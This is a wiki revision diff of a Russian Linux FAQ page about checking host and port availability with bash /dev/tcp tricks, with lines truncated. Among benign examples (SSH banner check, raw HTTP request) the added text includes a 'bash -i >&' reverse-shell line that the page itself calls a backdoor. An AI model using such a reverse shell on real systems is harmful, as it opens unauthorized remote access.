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| Both sides previous revision Previous revision | |||
| linux_faq:check_host_port_availability [2021/03/24 12:33] – admin | linux_faq:check_host_port_availability [2022/12/12 12:26] (current) – admin | ||
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| Line 5: | Line 5: | ||
| printf "" | printf "" | ||
| Например, | Например, | ||
| - | timeout 60 bash -c 'until printf "" | + | timeout 60 bash -c 'until printf "" |
| + | **/ | ||
| + | Еще примеры. \\ | ||
| + | Проверить доступность **ssh**-сервера: | ||
| + | cat < / | ||
| + | SSH-2.0-OpenSSH_7.4 | ||
| + | Сделать запрос на HTTP-сервер: | ||
| + | exec 15<>/ | ||
| + | echo -e "GET / HTTP/ | ||
| + | cat <& | ||
| + | Пробросить порт на удаленный сервер (фактически - сделать бекдор): | ||
| + | bash -i >& / | ||
| + | |||
| + | | ||